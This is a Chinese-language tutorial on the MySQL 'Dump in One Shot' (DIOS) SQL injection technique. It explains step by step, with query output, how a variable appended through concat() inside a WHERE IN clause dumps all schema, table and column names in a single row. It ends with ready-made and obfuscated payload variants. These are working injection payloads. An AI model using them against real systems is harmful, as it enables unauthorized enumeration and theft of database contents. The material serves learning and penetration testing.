本文将来介绍Dump in One Shot(DIOS)这种SQL注入手法
例子#
先来看一个例子
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata) where
(@a) in (@a:=concat(@a,schema_name,'<br>'))))a)
上面的SQL语句会一次性返回所有数据库的名称
+-------------------------------------------------------------------------------------+
| (@a) |
+-------------------------------------------------------------------------------------+
| information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
请先仔细想想这条语句是如何执行的，再看下面的分析
原理分析#
先让我们从最内层开始，分析这条语句是如何执行的
(@a:=concat(@a,schema_name,'<br>'))
首先你要知道@a是一个变量。concat()将@a,schema_name,'</br>'三者进行拼接，:=是赋值操作。但是有一点你需要注意，只要concat()中有NULL时，都会返回NULL
mysql> select @a;
+------+
| @a |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
mysql> select (@a:=concat(@a,schema_name,'<br>')) from information_schema.schemata;
+-------------------------------------+
| (@a:=concat(@a,schema_name,'<br>')) |
+-------------------------------------+
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
+-------------------------------------+
6 rows in set (0.00 sec)
所以执行时先要对@a进行赋值。这也就是本文例子中为什么要select(@a:=0x00)的原因。
mysql> set @a:=0x00;
Query OK, 0 rows affected (0.00 sec)
mysql> select (@a:=concat(@a,schema_name,'<br>')) from information_schema.schemata;
+-------------------------------------------------------------------------------------+
| (@a:=concat(@a,schema_name,'<br>')) |
+-------------------------------------------------------------------------------------+
| information_schema<br> |
| information_schema<br>mysql<br> |
| information_schema<br>mysql<br>performance_schema<br> |
| information_schema<br>mysql<br>performance_schema<br>t3st<br> |
| information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br> |
| information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
6 rows in set (0.00 sec)
再看包含这条concat()从句的语句
select (@a) from (information_schema.schemata) where (@a)in (@a:=concat(@a,schema_name,'<br>'))
这是一条SQL中的 where in 语句。但是请仔细想一想，这和通常的 where in 语句是不是有些区别？@a既不是一个字段的名称，in 后面也不是可能取到的值集合。
好吧，如果你纠结在这里，你就输了（´∀｀*) 。
mysql> (select (@a) from (select(@a:=0x00),(select (‘hahaha’) from (information_schema.schemata) where ('biubiubiu') in (@a:=concat(@a,schema_name,'<br>'))))a);
+-------------------------------------------------------------------------------------+
| (@a) |
+-------------------------------------------------------------------------------------+
| information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
同样返回了所有数据库名称。是不是觉得很神奇(￣▽￣)"。其实(select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,schema_name,'<br>'))))这条语句的作用仅仅是不断的将schema_name字段中的值追加到@a变量中,而不是返回一个有效的结果集。最终我们是通过变量@a来得到所有的数据库名
mysql> (select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,schema_name,'<br>'))));
+------------+----------------------------------------------------------------------------------------------------+
| (@a:=0x00) | (select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a,schema_name,'<br>'))) |
+------------+----------------------------------------------------------------------------------------------------+
| | NULL |
+------------+----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select @a;
+-------------------------------------------------------------------------------------+
| @a |
+-------------------------------------------------------------------------------------+
| information_schema<br>mysql<br>performance_schema<br>t3st<br>test<br>yii2basic<br> |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
获取所有的表名#
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where (@a)in (@a:=concat(@a,table_name,'<br>'))))a);
获取非information_schema中的表#
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_name,'<br>'))))a)
获取数据库与表的关系#
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,0x3a,table_name,'<br>'))))a)
一次性返回数据库的所有信息#
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)
进行模糊匹配查询#
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'SHOP%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)
更多的DIOS姿势#
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
(select 1,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@))